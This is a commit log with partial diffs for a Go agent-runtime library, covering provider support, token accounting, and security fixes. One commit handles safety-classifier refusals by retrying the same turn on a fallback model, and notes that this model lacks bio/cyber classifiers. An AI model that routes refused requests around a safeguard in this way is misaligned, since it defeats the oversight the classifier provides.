78 Commits
Author SHA1 Message Date
sausheong 897643db18 Add a regression test proving a mid-session model switch is real
Verifies, at the Runtime.Run level, that mutating Model and
DynamicIdentityHint between two Run calls in the same session (exactly
what hand's tui.Controller.SwitchModel does) actually changes the
ChatRequest.Model sent on the next call, not just the system prompt
text. If this ever regressed, a caller-side "/model" fix would look
correct in its own unit tests while the model actually being queried
silently stayed the old one.
2026-09-07 00:22:07 +08:00
sausheong 0ccfdb2a24 Add Runtime.DynamicIdentityHint, a live, per-turn identity fact
Runtime.StaticSystemPrompt is cached and reused verbatim every turn —
right for anything that doesn't change mid-conversation, wrong for a
fact a caller needs to update live (e.g. after a runtime model switch)
and have the model actually notice. A model tends to just repeat what
it already told the user earlier in the same conversation over a
background instruction it read once near the top of a large cached
block, so updating only the static prompt after a switch left the
model insisting it was still whatever it started as.

DynamicIdentityHint rides the same per-turn (uncached) system prompt
slot Run/RunTurn already use for the date line and KG hint, so setting
it takes effect on the very next turn with the same recency the model
grants its own last statement.
2026-09-07 00:15:23 +08:00
sausheong f624e4c7bd Replace Qwen provider with LiteLLM and OpenRouter aggregators
Adding one bespoke provider package per vendor doesn't scale. LiteLLM
proxy and OpenRouter both speak the OpenAI chat-completions wire
format and each front dozens-to-hundreds of underlying models, so
supporting them once gets that whole catalog instead of one more
one-off integration — providers/qwen turns out to have been exactly
that pattern hand-rolled a second time (its own copy of the
OpenAI-compatible translation, just pointed at DashScope's base URL).

providers/litellm and providers/openrouter are both thin constructors
over the OpenAI provider's existing NewOpenAIProviderWithKind(apiKey,
baseURL, "openai-compatible") — no new request/stream-translation code.
OpenRouter defaults to its public endpoint when baseURL is empty;
LiteLLM has none (self-hosted), so callers must supply one.

Context-window detection (tokens.ContextWindow) already keys off the
model ID's family rather than the provider prefix, specifically so a
model exposed under a custom/proxy provider name still gets the right
window — so litellm/openrouter models need zero changes there.
2026-09-06 16:13:30 +08:00
sausheong 0ba1b4dbcc fix(tokens): generalize Gemini context-window detection by tier
windowByModelFamily matched Gemini models by exact version substring
("gemini-1.5-pro", "gemini-1.5-flash", "gemini-2"), so any newer
generation (3.x and beyond) fell through to defaultRemoteUnknownWindow
(128k) purely because this table hadn't been updated yet — observed
via hand's status line showing a >100% context gauge for a
"gemini-3.8-flash"-family model whose real window is far larger, and
which made harness's own preventive compaction unreachable (the
threshold check never fires against a window this far off).

Match on tier (Pro vs. everything else) instead of enumerating every
version: every Pro-tier Gemini release so far ships 2M, everything
else at least 1M, and both hold for a model this table has never seen
the exact version string of.
2026-09-05 22:06:59 +08:00
sausheong 986c233d39 fix: preserve native Anthropic inference controls 2026-08-17 03:43:30 +08:00
sausheong 8e92125fb6 docs: bump README to v0.3.5 2026-08-02 10:18:14 +08:00
sausheong eb4fa67976 fix: harden runtime against panics/races, close path-traversal and fail-open gaps
- Runtime.Run rejects concurrent invocations instead of racing on shared state; panics in tools, hooks, and permission checkers are recovered and surfaced as errors/denials instead of crashing the loop
- AgentSpec.Loop now actually overrides RuntimeDeps.AgentLoop per-agent, as documented
- session.Store validates agent ID / session key as single path components, preventing traversal outside the session directory
- ValidatePathInWorkDir resolves symlinks on the target itself, not just its parent, closing a workspace-escape gap
- bash tool now fails closed on an unrecognized ExecPolicy.Level instead of allowing everything
- browser tool rejects unknown actions instead of silently no-op'ing

Bump README to v0.3.4 and document the AgentSpec.Loop override semantics.
2026-08-02 10:14:20 +08:00
sausheong 445614757b fix: support Claude Opus 5 / Sonnet 5 adaptive thinking; unique Gemini tool-call IDs
Anthropic: add claude-opus-5 and claude-sonnet-5 to the adaptive-thinking-only
model list. These models also think by default when the thinking param is
omitted (unlike Fable 5/Mythos/Opus 4.7/4.8), so ReasoningOff now sends an
explicit {type:"disabled"} on them instead of relying on omission.

Gemini: replace the empty-FunctionCall.ID fallback (function name) with a
synthetic toolu_-shaped random ID. The name-based fallback wasn't unique —
repeated calls to the same tool in one conversation collided on one ID,
which produced duplicate tool_use ids if that history was later replayed to
a different (Anthropic) model on a routing switch, rejected with a 400.
2026-07-28 13:40:22 +08:00
sausheong c7846eeab9 feat: preserve Anthropic prompt cache controls 2026-07-20 08:21:59 +08:00
sausheong 0300af6717 fix: capture thinking blocks in ChatNonStreaming fallback path 2026-07-12 21:01:02 +08:00
sausheong 152d8b972e feat: preserve and echo thinking blocks for extended-thinking models (DeepSeek, Claude thinking mode) 2026-07-12 20:30:48 +08:00
sausheong d3c74e5681 docs: drop Co-Authored-By trailer references from run-total-usage plan 2026-06-26 23:35:05 -07:00
sausheong d1c63cac56 Merge run-total-usage: emit run-total token usage on terminal EventDone
Runtime.Run now accumulates token usage across all turns (summing all four
llm.Usage fields via a pure addUsage helper) and emits the run total on the
terminal EventDone, instead of only the last turn. Fixes multi-turn undercount
for consumers metering AgentEvent.Usage. RunTurn unchanged (one turn per call).
2026-06-26 22:28:04 -07:00
sausheong ef3a1d4927 test(runtime): assert addUsage returns a distinct pointer (aliasing safety) 2026-06-26 21:41:23 -07:00
sausheong 2f97b1cf78 docs(runtime): clarify EventDone.Usage is the run total 2026-06-26 21:37:28 -07:00
sausheong 69f58903eb fix(runtime): emit run-total token usage on terminal EventDone
Run accumulated only the last turn's usage into the terminal EventDone, so
multi-turn runs under-reported tokens to consumers metering AgentEvent.Usage.
Sum all four usage fields across turns; RunTurn is unchanged (one turn/call).
2026-06-26 21:33:58 -07:00
sausheong 1ec0f9cac3 feat(runtime): add pure addUsage helper for field-wise usage summation 2026-06-26 21:29:27 -07:00
sausheong 2630d88245 docs: implementation plan for run-total token usage 2026-06-26 21:28:10 -07:00
sausheong a797d446f8 docs: design for run-total token usage on terminal EventDone 2026-06-26 21:07:11 -07:00
sausheong ac724d18e1 Merge branch 'security/s1-bash-bypass': close S1 bash allowlist bypass
Fix the CRITICAL allowlist-confinement escape: the metacharacter guard
checked the two-byte literal "\\n" instead of a real newline, so a
newline in the command ran subsequent lines unchecked via bash -c. Also
treat background & as a command separator and reject output redirection
(>) in allowlist mode.
2026-06-13 16:34:00 +08:00
sausheong 7f0c3fd23d fix(bash): reject real newline/CR and redirection in allowlist mode (S1) 2026-06-13 16:25:44 +08:00
sausheong a5f21d3a2c fix(bash): treat background & as a command separator in allowlist mode (S1) 2026-06-13 16:23:51 +08:00
sausheong 34435736c5 Merge branch 'cleanup/low-batch': low-priority sweep (L1/L3/L4/L5/L10)
tokens image accounting, Qwen usage stats, one-time degraded-persistence
warning (AppendEntry+Rewrite), RunSync abort surfacing, retry classifier
bounded 429/529 forms + typed Gemini APIError path.
2026-06-13 15:57:04 +08:00
sausheong 3da8fe8ed3 fix(llm): recognize Gemini 429/5xx as retryable via typed APIError path 2026-06-13 15:52:33 +08:00
sausheong 9292731d79 fix(llm): scope retry classifier to bounded 429/529 forms 2026-06-13 15:34:19 +08:00
sausheong 04f02c56d6 fix(runtime): RunSync returns context.Canceled on aborted run 2026-06-13 15:33:02 +08:00
sausheong 3eb9596ee6 fix(session): extend degraded-persistence warning to Rewrite path 2026-06-13 15:31:27 +08:00
sausheong 275636ed20 fix(session): emit one-time warning when persistence is degraded 2026-06-13 15:29:57 +08:00
sausheong 754721bc30 fix(qwen): request usage stats (IncludeUsage) and use MaxCompletionTokens
no request-capture seam; covered by build + openai sibling parity
2026-06-13 15:28:29 +08:00
sausheong 22f4329f44 fix(tokens): count attached images in Estimate (~1500 tokens each) 2026-06-13 15:27:43 +08:00
sausheong 8c9bc2963d Merge branch 'correctness/round5': provider stream + file correctness (R7/N11/N12) 2026-06-13 13:42:59 +08:00
sausheong 1752cbf2fb fix(file): honor ctx cancellation in read_file/edit_file (N12) 2026-06-13 12:51:30 +08:00
sausheong e133f97e1e fix(web): decode all HTML entities via html.UnescapeString (N11) 2026-06-13 12:50:07 +08:00
sausheong 373e44b9c7 fix(anthropic): surface in-band stream error + Builder accumulation (R7c) 2026-06-13 12:48:10 +08:00
sausheong d0cd0989a9 fix(gemini): emit a single EventDone with final usage (R7b) 2026-06-13 12:45:56 +08:00
sausheong 385cd26e4b fix(openai): strings.Builder for tool-arg accumulation (R7c) 2026-06-13 12:44:06 +08:00
sausheong 79a69e5dce fix(qwen): index-order tool emit + strings.Builder accumulation (R7a/R7c) 2026-06-13 12:42:41 +08:00
sausheong e40733145f fix(openai): emit tool calls in index order for prompt-cache determinism (R7a) 2026-06-13 12:40:57 +08:00
sausheong b85ffeac69 Merge branch 'security/round4': SSRF + file-size hardening (S2/N4/S3/N5) 2026-06-13 12:06:50 +08:00
sausheong d6db565d7c fix(web): dial all validated IPs for dual-stack fallback (I1); fix live SSRF test to await fetch (M1) 2026-06-13 11:56:30 +08:00
sausheong fb5103fb87 feat(file): cap read_file/edit_file size to prevent OOM (N5) 2026-06-13 11:27:34 +08:00
sausheong 01b55a1446 fix(browser): block private-IP resolution via host-resolver-rules (S3) 2026-06-13 11:25:22 +08:00
sausheong 7d85074509 fix(web): all web_search backends use SafeHTTPClient (N4) 2026-06-13 11:22:15 +08:00
sausheong d7777f7c89 fix(web): web_fetch uses SafeHTTPClient — pins validated IP (S2) 2026-06-13 11:20:12 +08:00
sausheong 1e00916a82 fix(web): block 0.0.0.0/8, CGNAT, and reserved ranges in isPrivateIP (S2 hardening) 2026-06-13 11:19:03 +08:00
sausheong 083122a81f feat(web): add SafeHTTPClient with IP-pinning transport (S2) 2026-06-13 11:15:26 +08:00
sausheong 5d5dcd1902 Merge branch 'perf/round3': agent hot-path performance (P2/P3/P8/P1/P5)
Drop dead O(n^2) message-assembly work and a never-read tool-result map;
hoist tool-def normalization out of the turn loop; debounce calibrator
persistence to once per Run; skip re-writing spilled tool results each
turn; move the session disk write off the session lock (order-preserving
via lock-coupling). Zero observable behavior change.
2026-06-13 10:29:52 +08:00
sausheong 34ebfc5e95 fix(session): lock-couple writeMu to preserve disk order under concurrent Append (P5)
The earlier P5 change released s.mu before the store write, which let
concurrent appends on one Session reach the disk writer out of in-memory
order. Acquire a dedicated writeMu while still holding s.mu, then release
s.mu before the disk write — disk latency stays off s.mu while on-disk
order still matches append order. Adds a disk-order regression test.
2026-06-13 10:29:07 +08:00
sausheong e1fd4dc689 fix(runtime): recompute calibrator estimate at EventDone (P8 stale-estimate bug)
The earlier P8 change reused the pre-compaction turnEstimate at EventDone,
but mid-turn compaction reassembles msgs without recomputing it — so the
persisted calibration ratio diverged from main whenever compaction fired,
changing future compaction timing. Recompute fresh at EventDone exactly as
the pre-debounce code did; keep only the disk-write debounce (the real win).
2026-06-13 10:27:53 +08:00
sausheong 25b2e9163f perf(session): persist entry after releasing the session lock (P5) 2026-06-13 10:06:43 +08:00
sausheong c710ea5a94 perf(runtime): track spilled tool-call IDs to skip re-writing spills each turn (P1) 2026-06-13 10:04:46 +08:00
sausheong 671c10e89a perf(runtime): persist calibrator once per Run; reuse per-turn estimate (P8) 2026-06-13 10:00:52 +08:00
sausheong 1da0584530 perf(runtime): hoist tool-def filter/sort/normalize out of the turn loop (P3) 2026-06-13 09:57:39 +08:00
sausheong 7151562d99 perf(runtime): drop dead resultIDs map and mid-loop tool-result injection (P2) 2026-06-13 09:55:58 +08:00
sausheong 86ad622144 Merge branch 'reliability/round2': pre-first-token stream-error recovery (R1)
EventError delivered before the first token now runs the same reactive
compaction + fallback-model recovery as the synchronous ChatStream-error
path, via recoverFromPreTokenError (single-shot per turn). Fixes the
primary Anthropic/Gemini path where 429/overflow aborted the turn.
2026-06-13 01:52:25 +08:00
sausheong 7052a66e38 fix(runtime): recover from pre-first-token stream errors (compaction/fallback) — R1 2026-06-13 01:46:38 +08:00
sausheong de23ad986a Merge branch 'harden/safe-defaults': atomic file writes + 0600 perms
WriteFileAtomic helper; write_file/edit_file atomic + restrictive perms;
spill files 0600. Part of the cross-repo safe-by-default hardening.
2026-06-13 01:13:06 +08:00
sausheong 27fecf4588 feat(runtime): spill files 0600 via atomic write 2026-06-13 00:53:22 +08:00
sausheong 87f77c76ba feat(tools/file): edit_file atomic + preserve existing mode 2026-06-13 00:51:57 +08:00
sausheong 7ae944f0eb feat(tools/file): write_file atomic + 0600 2026-06-13 00:50:46 +08:00
sausheong c4750347e6 feat(tool): add WriteFileAtomic helper 2026-06-13 00:49:50 +08:00
sausheong 7fa3e75ad1 feat(llm): PromptCachingProvider capability — cache on renamed providers
providerSupportsCaching gated on the provider NAME being literally
'anthropic', so an Anthropic-shaped provider registered under a custom
config name (platformai, bedrock, any relay) never set
CacheLastMessage — every turn re-processed the full conversation
history uncached (~120K input tokens and 4-6s TTFT per turn on a
large session).

Add llm.PromptCachingProvider capability interface; AnthropicProvider
declares it; runtime gates providerSupportsCaching and
providerSupportsMidLoopCompaction on the capability first, with the
name check kept as legacy fallback for custom impls.
2026-06-11 22:02:37 +08:00
sausheong d5e8abf492 feat(runtime): surface and recover from model refusals
Claude Fable 5 safety classifiers decline requests with HTTP 200 +
stop_reason=refusal and empty content. The Anthropic stream parser
never read stop_reason, so a refused turn looked like a successful
empty response — the UI showed nothing and the agent appeared hung.

- llm: ChatEvent carries StopReason/StopCategory on EventDone;
  StopReasonRefusal constant
- anthropic: parse stop_reason + stop_details.category from
  message_delta (streaming) and the message (non-streaming); WARN log
  on refusal
- runtime Run + RunTurn: on refusal, retry the turn once on
  FallbackModel (refusals are model-specific; Opus-tier has no
  bio/cyber classifiers), discarding any partial output; without a
  fallback (or if the fallback also refuses) synthesize a visible
  'model declined this request' message with the policy category
  instead of silent emptiness
2026-06-10 21:13:48 +08:00
sausheong 3064a0da14 fix(tokens): 1M context window for Fable 5 / Mythos 5 / Opus 4.6+ / Sonnet 4.6
The blanket claude→200k rule predates the 1M-window generation. With
a 200k detected window, preventive compaction (threshold 0.6) fired
at ~120k tokens on models that actually hold 1M — 5x too early.

Match the 1M family explicitly (claude-fable, claude-mythos,
claude-opus-4-6/7/8/9, claude-sonnet-4-6) before the 200k fallback;
older Claude models (3.x, 4.0-4.5 era, Haiku 4.5) keep 200k.
2026-06-10 19:32:09 +08:00
sausheong cf47b2fca8 feat(mcp): expose session Ping on Client
Gateway supervisors need a cheap liveness probe to detect mid-flight
upstream death (crashed stdio child, restarted HTTP server). Client.Ping
forwards to the SDK session's MCP ping; a non-nil error means the
session is no longer usable.

Also moves examples/minimal's keep-import-live statement above the REPL
loop — it sat after an infinite for loop, tripping go vet's unreachable
code check.
2026-06-10 12:44:21 +08:00
sausheong 6f0040f606 fix(anthropic): adaptive thinking for Fable 5 / Mythos 5 / Opus 4.7+
These models reject the legacy thinking config — sending
{type:"enabled", budget_tokens:N} returns HTTP 400
("thinking.type.enabled is not supported for this model"), and
sampling params (temperature) are removed too.

For adaptive-only models (matched by substring so gateway model-group
names like claude-fable-5-global and Bedrock-style IDs are covered):
- emit thinking: {type:"adaptive"} plus output_config.effort
  (low/medium/high mapped from the unified ReasoningMode)
- omit thinking entirely when reasoning is off (Fable 5 also rejects
  an explicit {type:"disabled"})
- drop temperature

Pre-4.7 models keep the existing enabled+budget_tokens behavior.
2026-06-10 12:41:01 +08:00
sausheong 0341628068 Merge: wire KnowledgeGraph (recall+ingest) into RunTurn
RunTurn now consults r.KG — bounded-synchronous semantic recall folded into
the prompt on the first round of an exchange, async auto-ingest on the
completing round. Fixes the gap where the KG seam was inert on the runtime's
serve path (RunTurn never read r.KG). Interface + BuildRuntime unchanged.
2026-06-10 00:23:53 +08:00
sausheong 5d6326981e docs(runtime): update RunTurn contract — it now does KG recall/ingest 2026-06-09 23:58:21 +08:00
sausheong b7cbfc584c docs(runtime): note IngestSource/growth-gate rationale at RunTurn ingest 2026-06-09 23:42:58 +08:00
sausheong 8f8d75cd06 feat(runtime): KG ingest on RunTurn exchange completion 2026-06-09 23:39:26 +08:00
sausheong fe71e7b36d feat(runtime): bounded-synchronous KG recall in RunTurn 2026-06-09 23:34:44 +08:00
sausheong f35070594f test(runtime): strengthen sessionThread compaction-skip + undecodable coverage 2026-06-09 23:32:30 +08:00
sausheong 67178e018a feat(runtime): sessionThread helper for KG ingest in RunTurn 2026-06-09 23:28:16 +08:00
sausheong ecdf97ca79 Merge feat/run-turn-api: add RunTurn single-turn API 2026-06-08 01:04:42 +08:00
sausheong b7f4cfcf4a refactor(runtime): serial tool dispatch in RunTurn + error/abort tests
- Drop the wasted partitionToolCalls call; RunTurn dispatches serially by
  design (deterministic ordering for durable replay), so loop toolCalls directly.
- Fix doc-comment overclaim: RunTurn is headless and does not emit Run's
  trace/slog tool-result lines nor parallelize batches.
- Make TurnResult.Err consistent: mid-dispatch abort now passes ctx.Err().
- Document single-active-turn invariant on turnSlice.
- Add TestRunTurn_LLMError and TestRunTurn_PreCancelledContext.
2026-06-07 23:47:32 +08:00
sausheong 35896d215a feat(runtime): add single-turn RunTurn API
RunTurn executes exactly one turn of the agent loop against the current
session and returns the SessionEntries it produced, enabling external
platforms to drive the loop one turn at a time (e.g. for durable
per-turn checkpointing). Purely additive: Run() is unchanged.

RunTurn reuses the existing tested helpers (assembleMessages,
dispatchTool, partitionToolCalls) and deliberately omits compaction,
knowledge-graph, and streaming-tool kickoff, which remain in Run.
2026-06-07 23:40:07 +08:00
Chang Sau Sheong 1c6a05c0d8 Merge pull request #1 from sausheong/feat/configurable-tool-result-cap
feat(runtime): configurable per-tool-result truncation cap
2026-05-21 07:55:33 +08:00
sausheong e5c9b5dbb5 feat(runtime): configurable per-tool-result truncation cap
Adds LoopConfig.MaxToolResultLen with the same config > env > default precedence as the existing MaxToolConcurrency / MaxAgentDepth knobs:

  1. Runtime.AgentLoop.MaxToolResultLen (>0) — config wins
  2. HARNESS_MAX_TOOL_RESULT_LEN env (>0) — env fallback
  3. defaultMaxToolResultLen (4000) — unchanged for back-compat

The previous 4000-char cap was conservative for agents doing real engineering work (read_file, web_fetch, browser, bash output). Setting MaxToolResultLen to 16000-25000 lets a typical source file or test run land in-context without hitting spillover; spill remains the safety net for genuinely large outputs.

No behaviour change for callers that don't set the field.
2026-05-21 07:55:16 +08:00
77 changed files with 4128 additions and 631 deletions

No files matched your search

+1
View File
@@ -4,6 +4,7 @@
!/developer.md
!/examples/*/kb/
!/examples/*/kb/*.md
/docs/
# Other prose/document formats
*.txt
+17 -9
View File
@@ -5,7 +5,7 @@ streaming agent loop, tool registry, session storage, compaction, and
token budgeting needed to run a multi-provider agent in production. BYO
concrete tools, BYO provider clients, BYO memory/knowledge-graph plugins.
> **Status: v0.1.0.** First tagged release. The `runtime` API
> **Status: v0.3.6.** Latest tagged release. The `runtime` API
> surface may still shift in the v0.x line — pin your version.
## Why Harness
@@ -87,8 +87,9 @@ a lot. The package is optimized for the use cases above, not these.
hardened in 1.25. Older toolchains will fail at `go build`.
- **An LLM API key**, depending on which provider(s) you wire in:
`ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, Google ADC for Gemini, or a
Qwen DashScope key. For local models, point `openai.NewOpenAIProviderWithKind`
at an Ollama endpoint — no key required.
LiteLLM/OpenRouter key for those aggregators. For local models, point
`openai.NewOpenAIProviderWithKind` at an Ollama endpoint — no key
required.
- **Optional: an MCP server** for `tools/mcp` integrations (any
binary that speaks the Model Context Protocol — `npx
@modelcontextprotocol/server-filesystem`, etc.).
@@ -121,7 +122,8 @@ github.com/sausheong/harness/
│ ├── anthropic/ # Anthropic LLMProvider (with prompt caching)
│ ├── openai/ # OpenAI / OpenAI-compatible / local Ollama
│ ├── gemini/ # Google Gemini via google.golang.org/genai
│ └── qwen/ # Alibaba Qwen (OpenAI-compatible endpoint)
│ ├── litellm/ # Self-hosted LiteLLM proxy (OpenAI-compatible)
│ └── openrouter/ # OpenRouter aggregator (OpenAI-compatible)
└── tools/ # Batteries-included concrete tools (each importable separately)
├── file/ # read_file (with vision), write_file, edit_file
├── bash/ # bash (with ExecPolicy: deny | allowlist | full)
@@ -229,6 +231,9 @@ them via `LoopConfig`:
`LoopConfig` field values win over env vars when set. Set the field
to its zero value (or omit it) to fall back to env, then to defaults.
`RuntimeDeps.AgentLoop` supplies shared process defaults;
non-zero fields and non-nil hooks in `AgentSpec.Loop` override those
defaults for that agent.
Everything else (provider API keys, model selection, workspace path,
skill paths, etc.) is your config's responsibility — harness reads
@@ -310,9 +315,12 @@ Deliberately not in scope (numbers from the same conceptual list):
`clientcredentials.Config.Client(ctx)`) as `HTTPClient` —
auto-refresh comes for free. Call `Runtime.Close()` to release
sessions.
- **Four providers, one interface.** Anthropic, OpenAI (and
OpenAI-compatible / local Ollama), Gemini, and Qwen ship built-in.
Adding a fifth is implementing `llm.Provider` (~300 LOC).
- **Five providers, one interface.** Anthropic, OpenAI (and
OpenAI-compatible / local Ollama), Gemini, LiteLLM, and OpenRouter ship
built-in — LiteLLM and OpenRouter cost none of that ~300 LOC each,
since both are thin constructors over the existing OpenAI-compatible
path. Adding a genuinely new wire format is implementing
`llm.Provider` (~300 LOC).
See [`developer.md`](./developer.md) for a step-by-step guide to
building agents on top of Harness, including diagrams of the
@@ -373,12 +381,12 @@ a real failure.
## Status
`v0.1.0` is the first tagged release. The v0.x line follows Go
`v0.3.6` is the latest tagged release. The v0.x line follows Go
module semver: minor bumps may break API, patch bumps are bug-fix
only. Pin your dependency:
```bash
go get github.com/sausheong/harness@v0.1.0
go get github.com/sausheong/harness@v0.3.6
```
Likely sources of v0.x churn before a v1.0.0:
+5 -3
View File
@@ -59,7 +59,8 @@ required pieces are inside `inputs`; everything in `deps` is optional;
The four mandatory pieces:
* **`llm.LLMProvider`** (in `RuntimeInputs.Provider`) — a streaming
chat client (Anthropic / OpenAI / Gemini / Qwen, or your own).
chat client (Anthropic / OpenAI / Gemini / LiteLLM / OpenRouter, or
your own).
* **`tool.Registry`** (in `RuntimeInputs.Tools`) — the tools the LLM
may invoke. Each tool implements `tool.Tool`.
* **`session.Session`** (in `RuntimeInputs.Session`) — append-only
@@ -387,9 +388,10 @@ Each provider has its own constructor. All return an `llm.LLMProvider`.
|--------------|--------------------------------------------------------|-------------------------------------|
| Anthropic | `anthropic.NewAnthropicProvider(apiKey, baseURL)` | `baseURL == ""` → official endpoint |
| OpenAI | `openai.NewOpenAIProvider(apiKey, baseURL)` | `baseURL == ""` → official endpoint |
| OpenAI-compat| `openai.NewOpenAIProviderWithKind(apiKey, baseURL, "ollama"\|"compat")` | for local Ollama, etc. |
| OpenAI-compat| `openai.NewOpenAIProviderWithKind(apiKey, baseURL, "local"\|"openai-compatible")` | for local Ollama, etc. |
| Gemini | `gemini.NewGeminiProvider(ctx, apiKey)` | takes `context.Context` |
| Qwen | `qwen.NewQwenProvider(apiKey, baseURL)` | OpenAI-compatible endpoint |
| LiteLLM | `litellm.NewLiteLLMProvider(apiKey, baseURL)` | `baseURL` required (self-hosted) |
| OpenRouter | `openrouter.NewOpenRouterProvider(apiKey, baseURL)` | `baseURL == ""` → OpenRouter's public endpoint |
The provider you pass on `RuntimeInputs.Provider` only needs to match the
provider prefix in `AgentSpec.Model` — `runtime.BuildRuntime` parses
+2 -1
View File
@@ -82,6 +82,8 @@ func main() {
}
defer rt.Close() // no-op here (no MCP), but idiomatic
_ = llm.ReasoningOff // keep llm import live for clarity in the demo
// 5. REPL loop.
in := bufio.NewScanner(os.Stdin)
fmt.Println("harness demo — type a message, blank line to exit")
@@ -115,5 +117,4 @@ func main() {
}
}
}
_ = llm.ReasoningOff // keep llm import live for clarity in the demo
}
+13 -2
View File
@@ -34,8 +34,8 @@ const stripCacheMax = 256
// ApplyStripList runs StripFields over each tool's Parameters with the
// given field-strip list, preserving input order and accumulating
// diagnostics across all tools. The per-provider NormalizeToolSchema
// methods (OpenAI, Qwen, Gemini) are thin wrappers over this helper —
// only the strip list differs. Anthropic doesn't use this (identity).
// methods (OpenAI, Gemini) are thin wrappers over this helper — only the
// strip list differs. Anthropic doesn't use this (identity).
//
// Memoized: identical inputs return cached output without re-walking
// the JSON Schema. Cache key is a SHA-256 over (sorted fields, tool
@@ -93,6 +93,11 @@ func stripCacheKey(tools []ToolDef, fields []string) string {
h.Write([]byte(t.Name))
h.Write([]byte("\x02"))
h.Write(t.Parameters)
if t.CacheControl != nil {
h.Write([]byte(t.CacheControl.Type))
h.Write([]byte("\x04"))
h.Write([]byte(t.CacheControl.TTL))
}
h.Write([]byte("\x03"))
}
return hex.EncodeToString(h.Sum(nil))
@@ -104,6 +109,12 @@ func cloneToolDefs(in []ToolDef) []ToolDef {
}
out := make([]ToolDef, len(in))
copy(out, in)
for i := range out {
if in[i].CacheControl != nil {
cache := *in[i].CacheControl
out[i].CacheControl = &cache
}
}
return out
}
+13
View File
@@ -118,3 +118,16 @@ func TestStripFieldsMalformedSchema(t *testing.T) {
assert.Equal(t, bad, out)
assert.Empty(t, diags)
}
func TestStripCacheKeyIncludesCacheControl(t *testing.T) {
base := ToolDef{Name: "lookup", Parameters: json.RawMessage(`{"type":"object"}`)}
fiveMinutes := base
fiveMinutes.CacheControl = &CacheControl{Type: "ephemeral", TTL: "5m"}
oneHour := base
oneHour.CacheControl = &CacheControl{Type: "ephemeral", TTL: "1h"}
assert.NotEqual(t, stripCacheKey([]ToolDef{fiveMinutes}, nil), stripCacheKey([]ToolDef{oneHour}, nil))
cloned := cloneToolDefs([]ToolDef{oneHour})
cloned[0].CacheControl.TTL = "5m"
assert.Equal(t, "1h", oneHour.CacheControl.TTL, "cached normalization results must not alias cache metadata")
}
+114 -26
View File
@@ -17,6 +17,9 @@ const (
EventToolCallDone
EventDone
EventError
// EventThinkingBlock is emitted when the model returns an extended-thinking
// block. The runtime must echo these back in subsequent turns verbatim.
EventThinkingBlock
)
// ImageContent holds image data for multimodal messages.
@@ -26,13 +29,26 @@ type ImageContent struct {
}
// Message represents a conversation message.
// ThinkingBlock holds an opaque thinking/reasoning block returned by models
// that support extended thinking (e.g. Anthropic with thinking enabled,
// DeepSeek-v4-pro). The Signature field is the provider-supplied integrity
// token that must be echoed back verbatim in subsequent turns.
type ThinkingBlock struct {
Thinking string `json:"thinking"`
Signature string `json:"signature,omitempty"`
}
type Message struct {
Role string `json:"role"` // "user", "assistant", "system"
Content string `json:"content,omitempty"`
Images []ImageContent `json:"-"` // image attachments (not serialized)
ToolCalls []ToolCall `json:"tool_calls,omitempty"`
ToolCallID string `json:"tool_call_id,omitempty"` // for tool results
IsError bool `json:"is_error,omitempty"` // for tool results
Role string `json:"role"` // "user", "assistant", "system"
Content string `json:"content,omitempty"`
Images []ImageContent `json:"-"` // image attachments (not serialized)
ToolCalls []ToolCall `json:"tool_calls,omitempty"`
ToolCallID string `json:"tool_call_id,omitempty"` // for tool results
IsError bool `json:"is_error,omitempty"` // for tool results
ThinkingBlocks []ThinkingBlock `json:"thinking_blocks,omitempty"` // echoed back for thinking-mode models
// CacheControl requests a cache breakpoint on the final cacheable block of
// this logical message. Nil means no explicit breakpoint.
CacheControl *CacheControl `json:"cache_control,omitempty"`
}
// ToolCall represents a tool invocation requested by the LLM.
@@ -44,9 +60,17 @@ type ToolCall struct {
// ToolDef defines a tool for the LLM.
type ToolDef struct {
Name string `json:"name"`
Description string `json:"description"`
Parameters json.RawMessage `json:"parameters"` // JSON Schema
Name string `json:"name"`
Description string `json:"description"`
Parameters json.RawMessage `json:"parameters"` // JSON Schema
CacheControl *CacheControl `json:"cache_control,omitempty"`
}
// CacheControl is provider-neutral prompt-cache metadata. Type is currently
// "ephemeral"; TTL is empty/"5m" or "1h".
type CacheControl struct {
Type string `json:"type"`
TTL string `json:"ttl,omitempty"`
}
// Diagnostic describes a single normalization or clamping event emitted
@@ -66,14 +90,15 @@ type SystemPromptPart struct {
Text string
// Cache requests that the prefix up to and including this part be cached.
// Anthropic-only; ignored elsewhere.
Cache bool
Cache bool
CacheControl *CacheControl
}
// ReasoningMode is the unified reasoning/thinking knob across providers.
// Zero value (ReasoningOff) means no extended reasoning — safe default
// for existing call sites that don't set the field. Each provider maps
// this to its native config (Anthropic thinking budget, OpenAI
// reasoning_effort, Gemini ThinkingConfig, Qwen enable_thinking).
// reasoning_effort, Gemini ThinkingConfig).
type ReasoningMode string
const (
@@ -83,6 +108,31 @@ const (
ReasoningHigh ReasoningMode = "high"
)
// NativeReasoningConfig preserves an inbound provider reasoning request when
// Harness is used as a protocol proxy. A nil config means the client omitted
// the provider's reasoning controls; this is deliberately different from an
// explicit disabled config because some models think by default.
//
// Type is "adaptive", "enabled", or "disabled". BudgetTokens applies to
// enabled thinking and Effort is one of "low", "medium", "high", or "max".
// Providers that cannot represent the requested semantics must reject the
// request instead of silently changing it.
type NativeReasoningConfig struct {
Type string
BudgetTokens int64
Effort string
Display string
// OutputFormat is the provider-native structured-output format object.
// It is kept as JSON so a protocol proxy can preserve schemas without
// forcing provider-specific types into the portable llm package.
OutputFormat json.RawMessage
}
// Enabled reports whether the client explicitly requested reasoning.
func (c *NativeReasoningConfig) Enabled() bool {
return c != nil && (c.Type == "adaptive" || c.Type == "enabled")
}
// ParseReasoningMode parses a config string into a ReasoningMode.
// Accepts "" or "off" for ReasoningOff; "low", "medium", "high" for
// the named levels. Case-sensitive. Returns an error for unknown values.
@@ -103,12 +153,15 @@ func ParseReasoningMode(s string) (ReasoningMode, error) {
// ChatRequest is the input to a streaming chat call.
type ChatRequest struct {
Model string
Messages []Message
Tools []ToolDef
MaxTokens int
Temperature float64
SystemPrompt string
Model string
Messages []Message
Tools []ToolDef
MaxTokens int
Temperature float64
// TemperatureSet distinguishes an omitted sampling parameter from an
// explicit zero, which is material when proxying an existing API request.
TemperatureSet bool
SystemPrompt string
// SystemPromptParts, when non-empty, replaces SystemPrompt. Providers
// that support caching emit one block per part, attaching cache markers
// per Cache flag. Providers that don't support caching concatenate
@@ -117,7 +170,14 @@ type ChatRequest struct {
// CacheLastMessage requests that the final block of the final user
// message also be cache-marked. Anthropic-only; ignored elsewhere.
CacheLastMessage bool
